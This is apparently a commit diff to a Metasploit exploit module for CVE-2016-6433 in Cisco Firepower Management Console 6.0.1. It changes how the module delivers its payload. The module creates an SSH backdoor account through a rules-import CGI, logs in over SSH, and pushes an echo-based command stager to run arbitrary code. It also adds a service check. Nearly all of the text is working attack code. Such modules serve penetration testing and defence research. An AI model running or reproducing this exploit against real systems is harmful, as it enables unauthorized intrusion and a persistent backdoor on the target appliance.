4
4
##
5
5
6
6
require 'msf/core'
7
- require 'net/ssh/command_stream'
8
7
9
8
class MetasploitModule < Msf ::Exploit ::Remote
10
9
Rank = ExcellentRanking
11
10
12
11
include Msf ::Exploit ::Remote ::HttpClient
13
- include Msf ::Auxiliary :: CommandShell
12
+ include Msf ::Exploit :: CmdStager
14
13
include Msf ::Exploit ::Remote ::SSH
15
14
16
15
def initialize ( info = { } )
@@ -33,21 +32,15 @@ def initialize(info={})
33
32
[ 'CVE' , '2016-6433' ] ,
34
33
[ 'URL' , 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
35
34
] ,
36
- 'Platform' => 'unix ' ,
37
- 'Arch' => ARCH_CMD ,
35
+ 'Platform' => 'linux ' ,
36
+ 'Arch' => ARCH_X86 ,
38
37
'Targets' =>
39
38
[
40
39
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)' , { } ]
41
40
] ,
42
41
'Privileged' => false ,
43
42
'DisclosureDate' => 'Oct 10 2016' ,
44
- 'Payload' =>
45
- {
46
- 'Compat' => {
47
- 'PayloadType' => 'cmd_interact' ,
48
- 'ConnectionType' => 'find'
49
- }
50
- } ,
43
+ 'CmdStagerFlavor' => %w{ echo } ,
51
44
'DefaultOptions' =>
52
45
{
53
46
'SSL' => 'true' ,
@@ -69,6 +62,40 @@ def initialize(info={})
69
62
end
70
63
71
64
def check
65
+ # For this exploit to work, we need to check two services:
66
+ # * HTTP - To create the backdoor account for SSH
67
+ # * SSH - To execute our payload
68
+
69
+ vprint_status ( 'Checking Cisco Firepower Management console...' )
70
+ res = send_request_cgi ( {
71
+ 'method' => 'GET' ,
72
+ 'uri' => normalize_uri ( target_uri . path , '/img/favicon.png?v=6.0.1-1213' )
73
+ } )
74
+
75
+ if res && res . code == 200
76
+ vprint_status ( "Console is found." )
77
+ vprint_status ( "Checking SSH service." )
78
+ begin
79
+ ::Timeout . timeout ( datastore [ 'SSH_TIMEOUT' ] ) do
80
+ Net ::SSH . start ( rhost , 'admin' ,
81
+ port : datastore [ 'SSHPORT' ] ,
82
+ password : Rex ::Text . rand_text_alpha ( 5 ) ,
83
+ auth_methods : [ 'password' ] ,
84
+ non_interactive : true
85
+ )
86
+ end
87
+ rescue Timeout ::Error
88
+ vprint_error ( 'The SSH connection timed out.' )
89
+ return Exploit ::CheckCode ::Unknown
90
+ rescue Net ::SSH ::AuthenticationFailed
91
+ # Hey, it talked. So that means SSH is running.
92
+ return Exploit ::CheckCode ::Appears
93
+ rescue Net ::SSH ::Exception => e
94
+ vprint_error ( e . message )
95
+ end
96
+ end
97
+
98
+ Exploit ::CheckCode ::Safe
72
99
end
73
100
74
101
def get_sf_action_id ( sid )
@@ -99,7 +126,7 @@ def get_sf_action_id(sid)
99
126
def create_ssh_backdoor ( sid , user , pass )
100
127
uri = normalize_uri ( target_uri . path , 'DetectionPolicy/rules/rulesimport.cgi' )
101
128
sf_action_id = get_sf_action_id ( sid )
102
- sh_name = " #{ Rex :: Text . rand_text_alpha ( 6 ) } .sh"
129
+ sh_name = 'exploit.sh'
103
130
104
131
print_status ( "Attempting to create an SSH backdoor as #{ user } :#{ pass } " )
105
132
@@ -193,7 +220,32 @@ def do_login
193
220
nil
194
221
end
195
222
196
- def get_ssh_session ( user , pass )
223
+ def execute_command ( cmd , opts = { } )
224
+ @first_exec = true
225
+ cmd . gsub! ( /\/ tmp/ , '/usr/tmp' )
226
+
227
+ # Weird hack for the cmd stager.
228
+ # Because it keeps using > to write the payload.
229
+ if @first_exec
230
+ @first_exec = false
231
+ else
232
+ cmd . gsub! ( />>/ , ' > ' )
233
+ end
234
+
235
+ begin
236
+ Timeout . timeout ( 3 ) do
237
+ @ssh_socket . exec! ( "#{ cmd } \n " )
238
+ vprint_status ( "Executing #{ cmd } " )
239
+ end
240
+ rescue Timeout ::Error
241
+ fail_with ( Failure ::Unknown , 'SSH command timed out' )
242
+ rescue Net ::SSH ::ChannelOpenFailed
243
+ print_status ( 'Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)' )
244
+ retry
245
+ end
246
+ end
247
+
248
+ def init_ssh_session ( user , pass )
197
249
print_status ( "Attempting to log into SSH as #{ user } :#{ pass } " )
198
250
199
251
factory = ssh_socket_factory
@@ -212,28 +264,10 @@ def get_ssh_session(user, pass)
212
264
begin
213
265
ssh = nil
214
266
::Timeout . timeout ( datastore [ 'SSH_TIMEOUT' ] ) do
215
- ssh = Net ::SSH . start ( rhost , user , opts )
267
+ @ssh_socket = Net ::SSH . start ( rhost , user , opts )
216
268
end
217
- rescue Rex ::ConnectionError
218
- return
219
- rescue Net ::SSH ::Disconnect , ::EOFError => e
220
- print_error "SSH - #{ e . message } "
221
- return
222
- rescue ::Timeout ::Error
223
- print_error "SSH - Timed out during negotiation"
224
- return
225
- rescue Net ::SSH ::AuthenticationFailed
226
- print_error "SSH - Failed authentication"
227
269
rescue Net ::SSH ::Exception => e
228
- elog ( "#{ e . class } : #{ e . message } \n #{ e . backtrace * "\n " } " )
229
- print_error "SSH Error: #{ e . class } : #{ e . message } "
230
- return
231
- end
232
-
233
- if ssh
234
- conn = ::Net ::SSH ::CommandStream . new ( ssh , '/bin/bash' , true )
235
- ssh = nil
236
- handler ( conn . lsock )
270
+ fail_with ( Failure ::Unknown , e . message )
237
271
end
238
272
end
239
273
@@ -248,7 +282,13 @@ def exploit
248
282
create_ssh_backdoor ( sid , new_user , new_pass )
249
283
250
284
# Log into the SSH backdoor account
251
- get_ssh_session ( new_user , new_pass )
285
+ init_ssh_session ( new_user , new_pass )
286
+
287
+ begin
288
+ execute_cmdstager ( { :linemax => 500 } )
289
+ ensure
290
+ @ssh_socket . close
291
+ end
252
292
end
253
293
254
294
end
0 commit comments